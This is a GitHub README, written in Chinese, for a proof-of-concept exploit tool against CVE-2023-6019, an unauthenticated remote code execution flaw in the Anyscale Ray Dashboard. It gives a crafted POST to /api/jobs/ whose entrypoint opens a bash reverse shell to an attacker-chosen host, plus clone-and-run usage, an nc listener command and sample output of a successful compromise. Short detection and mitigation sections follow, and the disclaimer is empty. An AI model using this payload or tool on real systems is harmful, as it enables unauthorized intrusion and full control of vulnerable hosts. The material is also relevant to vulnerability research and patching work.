joaquinrrr/CVE-2023-6019
GitHub: joaquinrrr/CVE-2023-6019
针对 Anyscale Ray Dashboard 未授权远程代码执行漏洞(CVE-2023-6019)的概念验证利用工具。
Stars: 0 | Forks: 0
# CVE-2023-6019 - Anyscale Ray Dashboard 未授权 RCE
## 描述
[Anyscale Ray](https://www.ray.io/) 是一个用于分布式 ML/AI 工作负载的开源框架。**2.6.4 之前**的版本通过 Ray Dashboard(默认端口 `8265`)公开了一个 Jobs 提交 API,且**无需任何身份验证**,这使得未经身份验证的攻击者能够提交任意 job,并在主机上实现**远程代码执行**。
- **CVE:** CVE-2023-6019
- **严重性:** Critical (CVSS 9.8)
- **受影响版本:** Ray < 2.6.4
- **修复版本:** Ray 2.6.4
- **攻击向量:** 网络(未经身份验证的 HTTP 请求)
## 工作原理
`/api/jobs/` endpoint 接受一个包含 `entrypoint` 字段的 JSON payload,该字段会被 Ray worker 进程作为 shell 命令执行——无需任何凭据。
```
POST /api/jobs/ HTTP/1.1
Host: :8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
```
## 用法
```
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t -p -l -lp
```
### 参数
| Flag | 描述 | 默认值 |
|------|-------------|---------|
| `-t` | 目标 IP 或主机名 | 必填 |
| `-p` | Ray Dashboard 端口 | `8265` |
| `-l` | 攻击者 IP (reverse shell) | 必填 |
| `-lp` | 攻击者端口 (reverse shell) | 必填 |
### 示例
```
# 启动 listener
nc -lvnp 4444
# 运行 exploit
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
```
### 预期输出
```
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019
[*] Target : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...
[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc
[>] Make sure your listener is ready:
nc -lvnp 4444
```
## 检测
在你的 HTTP 日志或网络流量中,查找针对 `8265` 端口上 `/api/jobs/` 的意外 POST 请求。
## 缓解措施
- 升级至 **Ray >= 2.6.4**
- 通过防火墙规则限制对 Ray Dashboard 端口 (8265) 的访问
- 不要将 Ray Dashboard 暴露在公共网络中
## 参考文献
- https://nvd.nist.gov/vuln/detail/CVE-2023-6019
- https://www.anyscale.com/
- https://github.com/ray-project/ray
## 免责声明
标签:CISA项目, PoC, Python, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具